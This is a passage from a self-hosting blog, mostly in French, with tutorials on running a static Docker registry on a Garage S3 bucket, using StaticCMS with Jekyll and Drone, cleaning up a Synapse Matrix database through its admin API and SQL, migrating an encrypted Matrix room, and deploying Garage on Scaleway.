      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "RUST_BACKTRACE=1",
      "RUST_LOG=garage=info"
    ]
  }
}

Pour le layer, étant une archive tar.gzip, on passe la sortie de curl à tar :

$  curl -L -H @/tmp/d.txt 'https://registry.docker.com/v2/dxflrs/garage/blobs/sha256:d2d5e172a714fc48876a6657e7b4b0c3baa4c1ea42e92c687bdb9d86b8dd43c4'|tar -ztvf -
tar: Suppression de « / » au début des noms des membres
drwxr-xr-x 0/0               0 2023-03-13 21:27 /
-r-xr-xr-x 0/0        50846992 2023-03-13 21:27 garage
100 18.9M  100 18.9M    0     0  15.5M      0  0:00:01  0:00:01 --:--:-- 33.1M

Et nous voilà arriver au bout de notre exploration de l’API distribution de la Open Container Initiative définie par Docker à l’origine. Par la suite, on va pas s’amuser à récupérer tout ces fichiers à la main, mais demander à skopeo de le faire pour nous. Mais avant tout il faut…

Déclarer un bucket comme registre

Rien de particulier ici, on va supposer que vous avez un bucket Garage déjà exposé comme site web. Dans ce billet, je vais utiliser directement le bucket de mon site web comme registre docker. Pour que ce dernier soit reconnu comme registre, il est de bon ton de renvoyer un petit OK sur le chemin /v2/ :

echo ok > /tmp/v2
aws s3 cp /tmp/v2 s3://quentin.dufour.io/v2/index.html

Récupérer une image depuis le Docker Hub

On va récupérer une image multi-arch de Garage depuis le Docker Hub pour se simplifier la vie dans un premier temps. Mais à la fin, on va build à la main notre image multi-arch depuis Nix, et sans jamais utiliser un daemon docker. Pratique !

Donc pour récupérer notre image multiarch, on va utiliser skopeo :

mkdir -p /tmp/garage-img-multi
skopeo --insecure-policy copy \
  --all --format v2s2 --dest-compress \
  docker://docker.io/dxflrs/garage:v0.8.2 \
  dir:/tmp/garage-img-multi
  

Et voilà, vous avez votre image dans /tmp/garage-img-multi. Si vous avez bien suivi le tutoriel, ce sont les mêmes fichiers que vu lors de notre inspection du registre Docker avec curl.

Copier l’image sur S3

Maintenant on va reconstituer cette image dans notre registre à la main. On copie d’abord le manifest multi-arch :

cd /tmp/garae-img-multi
aws s3 cp --content-type application/vnd.docker.distribution.manifest.list.v2+json \
  manifest.json \
  s3://quentin.dufour.io/v2/garage/manifests/v0.8.2

Il faut aussi que le manifest soit accessible depuis son hash sha256, pour ça il faut le calculer et ensuite l’envoyer de nouveau :

$ sha256 manifest.json
SHA256 (manifest.json) = 91af689013dd80d2ef0f4ff75038bc738b3193a11e201530d6da0fa833f55cbb
$ aws s3 cp --content-type application/vnd.docker.distribution.manifest.list.v2+json \
  manifest.json \
  s3://quentin.dufour.io/v2/garage/manifests/sha256:91af689013dd80d2ef0f4ff75038bc738b3193a11e201530d6da0fa833f55cbb

Ensuite on copie les manifestes des images des différentes architectures (ici linux/arm, linux/arm64, linux/amd64, et linux/386) :

# manifest arm
aws s3 cp --content-type application/vnd.docker.distribution.manifest.v2+json \
  12ec13fe92959249c52c46e97754333267ceeea22978434737978a135b7185ce.manifest.json \
  s3://quentin.dufour.io/v2/garage/manifests/sha256:12ec13fe92959249c52c46e97754333267ceeea22978434737978a135b7185ce

# manifest arm64
aws s3 cp --content-type application/vnd.docker.distribution.manifest.v2+json \
  236604ea7a441f907d52129d9490fe96b64ef2efd8d4b1c1c50ef8dbae361a8e.manifest.json \
  s3://quentin.dufour.io/v2/garage/manifests/sha256:236604ea7a441f907d52129d9490fe96b64ef2efd8d4b1c1c50ef8dbae361a8e

# manifest 386
aws s3 cp --content-type application/vnd.docker.distribution.manifest.v2+json \
  47df19e0c6333356e503258e6301c3a91848644667a0b7de4162e6841e89769a.manifest.json \
  s3://quentin.dufour.io/v2/garage/manifests/sha256:47df19e0c6333356e503258e6301c3a91848644667a0b7de4162e6841e89769a

# manifest amd64
aws s3 cp --content-type application/vnd.docker.distribution.manifest.v2+json \
  73a20980fd232dc7acd51d21df6c7c9964bc7c5fbcfdc098b95cfd221bf67bf6.manifest.json \
  s3://quentin.dufour.io/v2/garage/manifests/sha256:73a20980fd232dc7acd51d21df6c7c9964bc7c5fbcfdc098b95cfd221bf67bf6

Enfin, on copie les blobs, qui contiennent par exemple les layers de chaque images. Plutôt que de copier à la main, cette fois-ci je fais une boucle :

for i in $(ls | grep -P '^[a-f0-9]+$'); do 
  aws s3 cp $i "s3://quentin.dufour.io/v2/garage/blobs/sha256:$i"
done

Et voilà !

Tester notre registre

On peut d’abord essayer avec skopeo la même commande qu’on a exécuté sur le Docker Hub pour dump toutes nos images :

skopeo --insecure-policy copy \
  --all --format v2s2 --dest-compress 
  docker://quentin.dufour.io/garage:v0.8.2 
  dir:/tmp/garage-s3-registry

Et puis, plus simplement, avec Docker directement :

docker pull quentin.dufour.io/garage:v0.8.2

Et pourquoi pas tenter même de lancer notre conteneur ?

$ sudo docker run --rm -it quentin.dufour.io/garage:v0.8.2 /garage help
garage v0.8.2 [features: k2v, sled, lmdb, sqlite, consul-discovery, kubernetes-discovery, metrics, telemetry-otlp, bundled-libs]
S3-compatible object store for self-hosted geo-distributed deployments
...

Nous y voilà : nous savons créer un registre Docker statique ! Et maintenant, pourquoi ne pas construire nos images directement avec Nix ?

Construire l’image nous-même avec Nix

On va utiliser pkgs.dockerTools.buildImage pour générer une archive docker qui va ressembler à ça :

$ tar -tvf result
dr-xr-xr-x root/root         0 1980-01-01 01:00 ./
dr-xr-xr-x root/root         0 1980-01-01 01:00 4bc17b9fc1404e9543364c02ec354faee7ca6e004dc829994a61fd42935e00aa/
-r--r--r-- root/root         3 1980-01-01 01:00 4bc17b9fc1404e9543364c02ec354faee7ca6e004dc829994a61fd42935e00aa/VERSION
-r--r--r-- root/root       396 1980-01-01 01:00 4bc17b9fc1404e9543364c02ec354faee7ca6e004dc829994a61fd42935e00aa/json
-r--r--r-- root/root   9932800 1980-01-01 01:00 4bc17b9fc1404e9543364c02ec354faee7ca6e004dc829994a61fd42935e00aa/layer.tar
-r--r--r-- root/root       447 1980-01-01 01:00 e9eaf28bc5306e0390c8e3d7ec7f072933c67a5e5dadcd4b4e699cdcbee20d00.json
-r--r--r-- root/root       286 1980-01-01 01:00 manifest.json
-r--r--r-- root/root       135 1980-01-01 01:00 repositories

De cette archive, on va pas se casser la tête dans un premier temps, on va simplement demander à skopeo de nous la convertir dans le format que l’on connait :

skopeo --insecure-policy copy docker-archive:result dir:/tmp/albatros-img

Ensuite on va la copier simplement comme vu précédemment :

sha256sum manifest.json # 840b4265d58d0358a3c4183ba0e39e7bb4c3dfb78a50cac7532476ab25666def
aws s3 cp --content-type application/vnd.docker.distribution.manifest.v2+json manifest.json s3://quentin.dufour.io/v2/albatros/manifests/sha256:840b4265d58d0358a3c4183ba0e39e7bb4c3dfb78a50cac7532476ab25666def
aws s3 cp --content-type application/vnd.docker.distribution.manifest.v2+json  manifest.json s3://quentin.dufour.io/v2/albatros/manifests/v0.9
aws s3 cp ./83695be784e20268eafd08d35b47f50d689d831ae4a047750a4ed2c0a29debc7 s3://quentin.dufour.io/v2/albatros/blobs/sha256:83695be784e20268eafd08d35b47f50d689d831ae4a047750a4ed2c0a29debc7
aws s3 cp ./e9eaf28bc5306e0390c8e3d7ec7f072933c67a5e5dadcd4b4e699cdcbee20d00 s3://quentin.dufour.io/v2/albatros/blobs/sha256:e9eaf28bc5306e0390c8e3d7ec7f072933c67a5e5dadcd4b4e699cdcbee20d00

Et voilà, on peut lancer notre binaire maintenant :

$ docker run --rm -it quentin.dufour.io/albatros:v0.9
Unable to find image 'quentin.dufour.io/albatros:v0.9' locally
v0.9: Pulling from albatros
Digest: sha256:840b4265d58d0358a3c4183ba0e39e7bb4c3dfb78a50cac7532476ab25666def
Status: Downloaded newer image for quentin.dufour.io/albatros:v0.9
2023/04/06 16:31:42 unable to parse config, error: env: required environment variable "ALBATROS_URL" is not set

Alors là on a envoyé une image simple et non une image multi-arch, mais c’est tout à fait possible à faire, l’exercice est laissé à la lectrice ou au lecture que vous êtes pour le moment. Bonne chance !

StaticCMS, une autre approche aux CMS

Tue, 28 Feb 2023 14:11:46 +0100

Deuxfleurs a fait le choix de stocker ses données via un système de son cru nommé Garage. Ce dernier a de nombreux avantages dont un va particulièrement nous intéresser ici, c’est de publier un “dossier” (on appelle ça un bucket) directement comme un site web. C’est très efficace car on minimise les abstractions et les calculs à réaliser : ça consomme peu de ressources chez Deuxfleurs, et ça fait des sites rapides à consulter pour les internautes. Par contre, le site web doit être sous forme de fichiers HTML, CSS et Javascript : on ne peut pas le générer à la volée comme le fait un Wordpress, en allant chercher les informations dans une base de données. On appelle ce genre de site, “des sites statiques”, car ce sont simplement les mêmes fichiers qui sont envoyés à tout le monde pour constituer le site final.

Alors si vous avez l’habitude de réaliser vos sites webs à la main, vous devriez être aux anges : en une commande, ou un glisser/déposer, votre site web est en ligne. Mais si vous êtes plutôt du genre à utiliser une interface, comme un système de gestion de contenu, alors tout devient plus compliqué…

À moins que… à moins qu’on puisse combiner “sites statiques” et “CMS”. Et heureusement pour nous, les sites statiques sont à la mode, donc pas mal de gens ont travaillé sur la question ces dernières années ! Quand on est cool, on appelle ça une Jamstack. Ici rien à voir avec la confiture ou des concerts de musique, JAM veut dire Javascript, API et Markup. Ce concept est issu de réflexions par des développeurs web sur l’architecture idéale pour développer des sites webs. Nous, on va se contenter de garder les principes qui nous intéresse là dedans.

Un premier principe, c’est un découplage entre le front, c’est à dire le site web que voient les internautes, et le back, c’est à dire l’interface qui permet de créer, modifier, ou supprimer du contenu. Un autre principe, c’est que le front qui est présenté aux internautes doit être le plus pré-calculé possible pour que ce soit aussi rapide et économe que possible de charger une page web. À partir de ces deux principes, on a tout un ensemble de conséquences très désirables (bonnes performances, faibles coûts, sécurité, passage à l’échelle, mise en cache facilitée, etc.).

Maintenant qu’on a vu la théorie, passons à la pratique, et prenons ce (billet de) blog comme exemple ! Vous lisez ce billet depuis le front qui est en réalité une série de fichiers HTML, CSS et Javascript. Ces fichiers sont stockés dans Garage et ont été créés par un générateur de site statique, ici le vénérable Jekyll, qui va transformer des fichiers Markdown en HTML. Bien sûr, Jekyll ne fonctionne pas tout seul, ni automatiquement, il faut le lancer à chaque modification. Pour automatiser ce lancement et l’envoi des fichiers, on va utiliser un exécuteur de tâches, ici Drone. Maintenant, il faut bien stocker ces fichiers Markdown quelque part, pour ça on utilise Git, et plus particulièrement Gitea. Enfin, parce qu’éditer ces fichiers Markdown à la main, et les envoyer dans Git, est une tâche fastidieuse, on a créer une interface back qui permet de cacher toute cette complexité et proposer un environnement d’écriture, nous y voilà, je parle bien de StaticCMS. Lors de votre travail de publication, vous n’aurez pas besoin de vous soucier de tout ces composants. Comme avec Wordpress, vous allez simplement intéragir avec une interface web de gestion de contenu.

Pour vous en convaincre, voici le tableau de bord de notre CMS :

Et voici son interface d’écriture :

À l’instant où je vais appuyer sur “Publier”, alors c’est tout le système qui va se mettre en branle automatiquement : mes modifications seront enregistrées (avec la gestion d’un historique pour pouvoir revenir en arrière), Drone va se lancer et construire les nouvelles pages de mon site web avec Jekyll, et ensuite les envoyer sur Garage.

Alors face à tout ces composants, on pourrait critiquer que ça ajoute une complexité importante, avec de nombreuses pièces mobiles (moving parts en anglais), c’est à dire des composants indépendants, qu’il faut configurer pour faire fonctionner ensemble, et qui ensuite ont leur propre cycle de vie. Tout d’abord, ces composants ont des interfaces bien définies et relativement stables dans le temps, ensuite, ces configurations peuvent être automatisées et cachées. In fine, une plateforme bien intégrée peut très largement réduire la complexitée perçue, tout en laissant une flexibilité très importante pour quelqu’un qui aurait des besoins spécifiques.

Concrètement, aujourd’hui, vous pourriez vous demander quelles sont les étapes pour publier votre site statique avec un CMS sur Deuxfleurs ?

Tout d’abord, il faut préparer un dépôt git pour votre site web. Il vous faut commencer par choisir un générateur de site statique (Jekyll, Hugo, Zola, etc.). Souvent ces générateurs ont une commande pour initialiser le dépôt avec un squelette de fichiers (exemple : jekyll new mon-blog)

Ensuite, suivez le guide de StaticCMS pour intégrer le CMS à votre dépôt de site statique. Vous devriez avoir à la fin un dossier admin avec 3 fichiers : config.yml, index.html et static-cms-app.js (je vous conseille en effet de “vendorer” le fichier plutôt que d’utiliser un CDN). Notez que les informations de la section backend sont spécifiques à votre hébergeur, pour Deuxfleurs voici les paramètres à configurer :

backend:
  name: gitea
  repo: <username>/<repo>
  base_url: https://teabag.deuxfleurs.fr
  api_root: https://git.deuxfleurs.fr/api/v1
  branch: main

Vous devriez maintenant pouvoir valider vos modifications dans git, les pousser sur le dépôt, et lancer un serveur de développement local (exemple : jekyll serve). En accédant à http://localhost:4000/admin/ (pensez à adapter le port) vous devriez pouvoir accéder à votre interface CMS.

Une fois le CMS en place, vous pouvez configurer l’automatisation via Drone en ajoutant un fichier .drone.yml, puis en activant la CI sur votre dépôt, après avoir configuré les secrets pour publier sur Garage. Au final, vous pourrez ensuite travailler sur votre site web depuis l’URL complète de votre site, dans mon cas https://quentin.dufour.io/admin/.

Bien entendu, nous pourrions imaginer une interface qui vous permettrait de choisir un thème de site web, et qui vous créerait automatiquement le dépôt, avec les bons fichiers, et la configuration Drone qui va bien, de sorte qu’en moins de 5 minutes vous aillez un squelette en ligne sur lequel vous pouvez ajouter du contenu ! C’est pour une autre fois ça :-)

Chroniques d'administration de Synapse

Tue, 28 Feb 2023 11:06:23 +0100

Tout a commencé le mercredi 30 juin par un message parfaitement innocent de Max qui nous dit que les disques sont presque pleins :

Pour éviter la catastrophe annoncée, je décide de trouver le coupable. Après une rapide recherche, il apparait que PostgreSQL occupe plus de 50Go. Ayant des SSD de 120 Go, c’est donc majoritairement PostgreSQL qui occupe de la place. En creusant plus profondément, c’est la base de donnée de Synapse (le serveur Matrix) qui prend tout cet espace, les autres bases ne comptant que pour quelques kilo-octets.

À ce même moment, nous ne le savions pas encore, mais le réseau Matrix faisait face à une vague de spam. Sans être responsable de l’indisponibilité qui va suivre, elle plante le décor et participe à expliquer pourquoi nous avons été pris de court. En effet, la croissance rapide de notre base de donnée n’est pas seulement due à des usages normaux, mais aussi au spam qui a généré beaucoup d’activité sur les autres serveurs, et via la fédération, participé à remplir notre base.

Pour finir de planter le décor, notre instance Matrix a 4 ans mais n’a jamais nécessité de nettoyage ou maintenance de quelque sorte que ce soit jusqu’ici, bien que jusqu’à récemment, nous nous fédérerions avec des salons bruyants comme Matrix HQ. Nous avons donc aucune expérience dans ce domaine.

Sûr de moi, je vise une petite maintenance de deux heures où je compte supprimer les salons de discussions vides et réduire l’historique distant des salons très bruyants. La documentation sur le sujet est quasi inexistante mais je me dis que c’est parce que la tâche ne doit pas être si complexe. En réalité, la maintenance durera 4 jours et ne se sera pas passée du tout comme prévu. Je vous propose de revenir ici sur tous les points qui ont bloqué !

Avant d’aller plus loin, je souhaite souligner l’existence de deux guides sur le sujet qui m’ont aidé et qui sont de très bons compléments à cet article :

Compressing Synapse database par Levans
Administration Synapse > Nettoyage du serveur par Tedomum

L’API d’administration de Synapse

Replaçons le contexte : Matrix est un protocole, et spécifie entre autre des API de communications clients à serveurs et serveurs à serveurs. Cependant, à ce jour, les API de Matrix ne permettent pas à des communautés de se gérer totalement en autonomie. La preuve, nous étions en train d’épuiser les ressources du serveur mais nous pouvions rien faire en tant qu’utilisateur pour les libérer. Au delà de la gestion des ressources, il manque aussi des outils pour la gestion du spam et la modération.

En suivant l’actualité de Matrix, on peut voir qu’ils travaillent déjà sur ces fonctionnalités. Pour la gestion de l’espace disque, ils ont une option pour définir la durée de rétention de l’historique d’un salon de discussion mais l’option n’est pas encore disponible dans l’interface. On sait aussi qu’ils ont échangé avec la Quadrature du Net sur les questions de modération.

En attendant la publication de ces fonctionnalités, les développeurs de Synapse ont déplacé ces responsabilités depuis les utilisateurs vers les administrateurs. Ils fournissent aux administrateurs des fonctionnalités manuelles et naives via une API ne faisant pas partie de la norme Matrix.

J’ai commencé par explorer cette API via l’interface web synapse-admin réalisée par la communauté. Elle m’a permis de supprimer presque un millier de comptes invités et quelques salons de discussions vides. Cependant, cette interface montre vite ses limites : elle est très vite ralentie quand il y a beaucoup de contenu et gèrent très mal les opérations en lot (suppression de 40 salons d’un coup par exemple). Enfin, en affichant par défaut tout le contenu qu’elle a à disposition, elle expose inutilement des données personnelles aux administrateurs.

Très vite, je suis passé en ligne de commande avec curl (pour les requêtes HTTP) et jq (pour intéragir avec le JSON), ce qui semble être une pratique qui fait consensus parmi les administrateurs de serveurs Synapse. La mise en route est rapide : il faut commencer par passer un compte Synapse en administrateur dans la base de données

UPDATE users SET admin = 1 WHERE name = '@foo:bar.com';

Ensuite, il faut récupérer un bearer pour ce compte. Pour ma part, je me suis simplement connecté sur Element avec puis j’ai utilisé l’inspecteur réseau de mon navigateur, regardé les détails d’une requête partant vers l’API et extrait l’entête Authorization qui contient le bearer.

Enfin, pour ne pas retaper le bearer à chaque fois, je définis un alias pour ma session (il faut remplacer les points d’interogation avec le bearer que vous avez récupéré précédemment !) :

alias mctl='curl --header "Authorization: Bearer ???"'

Vous pouvez commencer par récupérer quelques informations simples comme le nombre de salons et le nombres de comptes sur votre serveur :

mctl 'https://synapse.tld/_synapse/admin/v1/rooms?limit=0'
mctl 'https://synapse.tld/_synapse/admin/v2/users?from=0&limit=0&guests=true'

Maintenant qu’on a le nombre, on va vouloir récupérer la liste. À vous de choisir si vous voulez écrire un script utilisant le système de pagination de l’API ou tout récupérer d’un coup au risque de mettre une pression importante sur votre serveur.

Ayant moins de 10 000 entrées, j’ai tout récupéré d’un coup :

mctl 'https://synapse.tld/_synapse/admin/v1/rooms?limit=10000' > rooms.json
mctl 'https://synapse.tld/_synapse/admin/v2/users?from=0&limit=10000&guests=true' > users.json

J’ai procédé à chaque fois en deux étapes : référencement des objets à supprimer dans un fichier puis appels à l’API. J’ai commencé par les comptes, et plus particulièrement les comptes invités, qui étaient souvent utilisés quelques minutes avant d’être définitivement perdus :

cat users.json \
  # requête jq manquante 
  >> users_to_delete.txt

Ensuite, LX avait développé un bridge entre Synapse et plusieurs autres protocols de communication comme Mattermost, Facebook ou IRC. Ne nous donnant pas entière satisfaction, nous avons décidé de le décomissioner. Le bridge devant répliqué un grand nombre de données, il était intéressant de supprimer ses données également. Étant donné son évolution et ses différents protocoles, nous avons du réaliser plusieurs requetes via jq :

cat users.json \
  | jq -r '.users[] | select(.name) | select(.name|test("_ezbr_:deuxfleurs.fr$")) | .name' \
  >> users_to_delete.txt
cat users.json \
  | jq -r '.users[] | select(.name) | select(.name|test("^@_ezbr_")) | .name' \
  >> users_to_delete.txt

Il ne reste plus alors qu’à appeler l’API de Synapse :

cat users_to_delete.txt \
  | while read u; do 
      echo "delete $u"
      mctl \
        -w "\n%{http_code}\n" \
        -X POST \
        -H "Content-Type: application/json" \
        -d '{"erase": true}' \
        https://synapse.tld/_synapse/admin/v1/deactivate/$u
      echo -e "done $u\n"
    done

Après que mon nettoyage utilisateur soit terminé, je suis passé du côté des salons. J’ai commencé par référencer les salons vides :

cat rooms.json \
  | jq -r '.rooms[] | select(.joined_local_members == 0) | .room_id'  \
  >> rooms_to_delete.txt

Ensuite je me suis occupé de Easybridge : en effet, il ne créait pas seulement des comptes mais aussi des salons. Là aussi, il m’a fallu chercher différents motifs pour repérer les salons, ce qui a nécessité plusieurs requêtes :

cat rooms.json \
  | jq -r '.rooms[] | select(.canonical_alias) | select(.canonical_alias|test("_ezbr_:deuxfleurs.fr$")) | .room_id' \
  >> rooms_to_delete.txt
cat rooms.json \
  | jq -r '.rooms[] | select(.creator) | select(.creator|test("_ezbr_:deuxfleurs.fr$")) | .room_id' \
  >> rooms_to_delete.txt
cat rooms.json \
  | jq -r '.rooms[] | select(.creator) | select(.creator|test("^@_ezbr_")) | .room_id' \
  >> rooms_to_delete.txt

Enfin, bien que nous n’avions pas prévu à l’origine de supprimer des salons auxquelles nous participions encore, il est apparu que certains étaient particulièrement couteux à suivre. Cette information n’est pas disponible via l’API, cependant à l’aide de requêtes SQL plus loin, nous avons déterminé que les 6 salons suivants étaient trop couteux à suivre pour nous (Matrix HQ, Matrix HQ (old), Arch Linux (old), tor, openwrt et fedora-devel) :

cat >> rooms_to_delete.txt <<EOF
!OGEhHVWSdvArJzumhm:matrix.org 
!mpvDHdMSZHzhzEDirR:matrix.org
!QtykxKocfZaZOUrTwp:matrix.org
!gVMacPcvhtqaEfaANo:matrix.org
!SEgsRQLScqPxYtucHl:archlinux.org
!MqVoatBTzkpWvekEvo:matrix.org
EOF

Maintenant que notre liste est complète, on peut supprimer les salons (l’API est synchrone) :

cat rooms_to_delete.txt \
  | while read r; do 
    echo -e "delete $r\n"
    mctl \
      -w "\n%{http_code}\n" \
      -X DELETE \
      -H "Content-Type: application/json" \
      -d '{"purge": true}' \
      https://synapse.tld/_synapse/admin/v1/rooms/$r 
  done

Pour les salons qui restent, nous voulons limiter l’historique des contenus distants (c’est à dire des messages postés par les internautes ayant un compte rattaché à un autre serveur que le notre) à seulement deux mois. Si on veut remonter plus loin, on peut simplement redemander leur historique à leur serveur d’accueil.

Cette fois-ci l’API est asynchrone et on ne veut pas surcharger le serveur : on va surveiller la suppression courante avant d’en lancer une autre. On veut aussi retélécharger la liste des salons avant de commencer car elle a bien changé : on en a supprimé beaucoup juste avant !

mctl 'https://synapse.tld/_synapse/admin/v1/rooms?limit=10000' > rooms.json

#                    c'est ici qu'on définit le deux mois VVVVVVVVVVVV
export MX_UNIX_TIMESTAMP=$(date +%s%3N --date='TZ="UTC+2" 2 months ago')

cat rooms.json \
  | jq -r '.rooms[] | .room_id' \
  | while read room; do 
      JOB_ID=$(mctl -s -X POST -H "Content-Type: application/json" -d "{\"delete_local_events\": false, \"purge_up_to_ts\": $MX_UNIX_TIMESTAMP}" "https://synapse.tld/_synapse/admin/v1/purge_history/$room" | jq -r '.purge_id')
      echo Purge $room, job $JOB_ID
      while true; do
        STATUS=$(mctl -s "https://synapse.tld/_synapse/admin/v1/purge_history_status/$JOB_ID" | jq -r ".status")
        echo Purge $room, job $JOB_ID, status $STATUS
        if [ "$STATUS" = "complete" ]; then break; fi
        if [ "$STATUS" = "null" ]; then break; fi
        sleep 10
      done
    done

Finir par mettre les mains dans le SQL

export PGPASSWORD="???"
alias mpsql='psql -h 127.0.0.1 -U matrix synapse'

Pour avoir une idée de ce “coût”, nous avons du passer par SQL (attention les commandes mettent beaucoup de temps à s’exécuter).

Cette première commande permet d’avoir le nombre ??? Vous pouvez adapter la limite pour afficher plus de

SELECT room_id, count(*) AS count
    FROM state_groups_state
    GROUP BY room_id
    ORDER BY count DESC
    LIMIT 6;

-- Result (the last column has been added by me):
-- !OGEhHVWSdvArJzumhm:matrix.org    | 51203310 | matrix HQ 
-- !mpvDHdMSZHzhzEDirR:matrix.org    | 19954563 | tor
-- !QtykxKocfZaZOUrTwp:matrix.org    | 14727741 | Matrix HQ
-- !gVMacPcvhtqaEfaANo:matrix.org    | 11356723 | fedora-devel
-- !SEgsRQLScqPxYtucHl:archlinux.org |  5326554 | Arch Linux (old)
-- !MqVoatBTzkpWvekEvo:matrix.org    |  2961032 | #openwrt

Cette commande est plus rapide, c’est elle aussi qui est utilisée en interne pour calculer une complexité arbitraire pour les salons :

 SELECT r.name, s.room_id, s.current_state_events
  FROM room_stats_current s
  LEFT JOIN room_stats_state r USING (room_id)
  ORDER BY current_state_events DESC
  LIMIT 6;

; Result:
; Matrix HQ                      | !OGEhHVWSdvArJzumhm:matrix.org         |                57475
; #openwrt                       | !MqVoatBTzkpWvekEvo:matrix.org         |                16083
; Arch Linux (old)               | !SEgsRQLScqPxYtucHl:archlinux.org      |                15718
; Yggdrasil                      | !DwmKuvGvRKciqyFcxv:matrix.org         |                 3462
; Synapse Announcements          | !qBFNwucQebGPQldAnq:matrix.org         |                 2755
; Synapse Announcements          | !iyIlInqJyxXrRmRHFx:matrix.org         |                 2544

Quelques changements de configuration

presence:
  enabled: false
limit_remote_rooms:
  enabled: true
  complexity: 3.0
  complexity_error: "Ce salon de discussion a trop d'activité, le serveur n'est pas assez puissant pour le rejoindre. N'hésitez pas à remonter l'information à l'équipe technique, nous pourrons ajuster la limitation au besoin."
  admins_can_join: false
retention:
  enabled: true
  # no default policy for now, this is intended. 
  # DO NOT ADD ONE BECAUSE THIS IS DANGEROUS AND WILL DELETE CONTENT WE WANT TO KEEP!
  purge_jobs:
    - interval: 1d

VACUUM FULL et Tablespace, un duo de choc

Un tablespace est un concept dans PostgreSQL qui permet de stocker les données d’une database à un autre emplacement sur le disque. Dans notre cas, on a une configuration avec un petit SSD et un gros HDD. J’ai créé un tablespace sur le HDD pour la base de donnée Synapse, qui avait donc plein d’espace à elle, ce qui m’a permis de lancer un VACUUM FULL.

Quand le WAL te met au pied du mur

PostgreSQL, pour gérer sa réplication, envoie un WAL, Write-Ahead Log. C’est à dire toutes les modifications à faire pour arriver à l’état actuel. Malheureusement il n’y aucun mécanisme de control flow pour gérer ce WAL : autrement dit, la base de donnée ne ralentit pas son travail pour que le WAL reste à une taille constante. On a donc le problème traditionnel des files d’attentes, avec une file qui grandit à une taille infinie. La plupart du temps en réalité ça ne pose pas problème car la base de donnée est moins sollicitée que la vitesse à laquelle elle est capable d’envoyer le WAL. Mais un VACUUM va créer une quantité énorme d’entrée WAL, de l’ordre de la taille de la table qui est nettoyée, et à une vitesse proche de la vitesse théorique du support de stockage, soit plus rapide que le réseau 100Mbit/s que l’on avait dans le cas d’un SSD. Ajouté à ça qu’un des réplicas utilisait un SSD défaillant qui lisait/écrivait à plus que quelques 10Mbit/s, toute tentative de maintenance résultait en un remplissage des SSD avec du WAL…

Stolon : initialisation, mise à jour et subtilités

keeper a besoin de la libc

très facile de flush totalement le cluster : reinit le cluster

import/export sql, le trick de pv :P

D’autres outils

Matrix: Migrate an encrypted room to a clear text one

Thu, 24 Mar 2022 00:00:00 +0100

Some time ago, the Matrix team was pushing hard E2EE and activated it for all created rooms. Believing encryption was the future, we kept this default for all of our rooms. But now that one of our room starts being popular, it appears that E2EE does not work well with public rooms:

the history is not available to newcomers
we can not search the history of an encrypted room (or at least, I never managed to make it work even with the desktop app)
notification options are more limited
scaling issues
many additional minor issues

It seems that Matrix developers are aware of these problems as if you create a “public room” now, you will not be proposed to encrypt it. But for existing rooms, we still have a problem: for security reasons, you can’t disable encryption in a room. Our only option is to create a new room and to point the old one to the new one.

Thankfully, Matrix has a feature named Tombstone that helps redirecting users from one room to another. This feature is used for room version upgrade, but we can “abuse” it to redirect people to a completely different room.

First, you must create a new clear text room. To provide the best experience to your users, take time to configure its picture, description, and so on. Now, go to your old room, remove all its aliases to be able to set them on the new room. You can set a new alias for your old room and send a message containing it on your new room, to “connect it with the old one”, eg:

Hi, this is the beginning of the history of this room. If you want to go back even more in time, check the old room: #myroom-old:example.tld

Finally, you need the identifier of your new room. It starts with a !. For example: !ARbIZeDKGloDOnjyyw:deuxfleurs.fr. Keep it somewhere accessible, and we are done configuring our new room.

We can now prepare the tombstone for the old room. First, you should inform your users with a message, something like:

Hi @room, we are migrating to a new room to fix some issues with this one. You will not be able to post new messages here, please follow the provided redirection to join the new room. Sorry for the inconvenience.

Now we will prepare a state event that point to the new room, create a file named migration.json based on the following template:

{
  "body": "We migrated to a cleartext rooms as E2EE does not work well with large public rooms",
  "replacement_room": "!ARbIZeDKGloDOnjyyw:deuxfleurs.fr"
}

This event must be sent in the old room. Let’s say its identifier is !MFnHRRrCTMeHvfnNUD:deuxfleurs.fr. The URL template is thus:

https://im.deuxfleurs.fr/_matrix/client/v3/rooms/!MFnHRRrCTMeHvfnNUD:deuxfleurs.fr/state/m.room.tombstone

The last thing we need is to build an header file containing the required information for authentication onto the API. Create a file named hdrs.txt based on the following template.

Authorization: Bearer see_below_how_you_can_find_me
Content-Type: application/json

The authorization header can be extracted from an Element Web instance by opening the developer panel (F12) and going to the Network tab. Then select a request going to your matrix backend, on the right part of your screen search the “Authorization” line and copy/paste its value.

Finally you can send the request to the API by again adapting the following command template:

curl \
  -H @hdrs.txt \
  -X PUT \
  -d @migration.json \
  'https://im.deuxfleurs.fr/_matrix/client/v3/rooms/!MFnHRRrCTMeHvfnNUD:deuxfleurs.fr/state/m.room.tombstone'

And that’s all, you have migrated your old encrypted room to a new clear text one!

If you want to explore all the possibilities offered by the developer tools, you can read Matrix specification. For example, our tombstone event is documented here: m.room.tombstone

A quick tour of Garage

Thu, 23 Sep 2021 00:00:00 +0200

Garage is an object storage platform that can be used as a drop-in replacement for AWS S3. It is designed to run on bare metal hardware and has no dependency on any cloud provider. In this article, I quickly deploy a geo-distributed Garage cluster and use it as a backend for Nextcloud.

I chose to use a cloud platform (Scaleway) to easily and quickly spawn geo-distributed machines. To abstract our machines deployment, I wrote a small tool named nuage.

You will need a working account on Scaleway. Then, we will need to install some tools on our machine (be sure to have go installed).

Let’s install Scaleway’s CLI tool:

sudo curl -o /usr/local/bin/scw -L "https://github.com/scaleway/scaleway-cli/releases/download/v2.3.1/scw-2.3.1-linux-x86_64"
sudo chmod +x /usr/local/bin/scw
scw init # enter your scaleway credentials

And my helper to easily deploy instances on Scaleway:

go install git.deuxfleurs.fr/quentin/nuage@latest
export PATH="$PATH:$HOME/go/bin"
nuage # display how to use the tool

Now, we are ready to spawn some machines!

Spawn machines

We start by creating our nuage inventory in a file named garage_inventory.txt:

fr-par-1 dev1-s debian_bullseye garage-fr-1
fr-par-1 dev1-s debian_bullseye garage-fr-2
pl-waw-1 dev1-s debian_bullseye garage-pl-1
pl-waw-1 dev1-s debian_bullseye garage-pl-2
nl-ams-1 dev1-s debian_bullseye garage-nl-1
nl-ams-1 dev1-s debian_bullseye garage-nl-2

Then let’s pass it to nuage:

nuage spawn < ./garage_inventory.txt

nuage will spawn 6 machines:

2 machines in Paris, France
2 machines in Warsaw, Poland
2 machines in Amsterdam, Netherlands

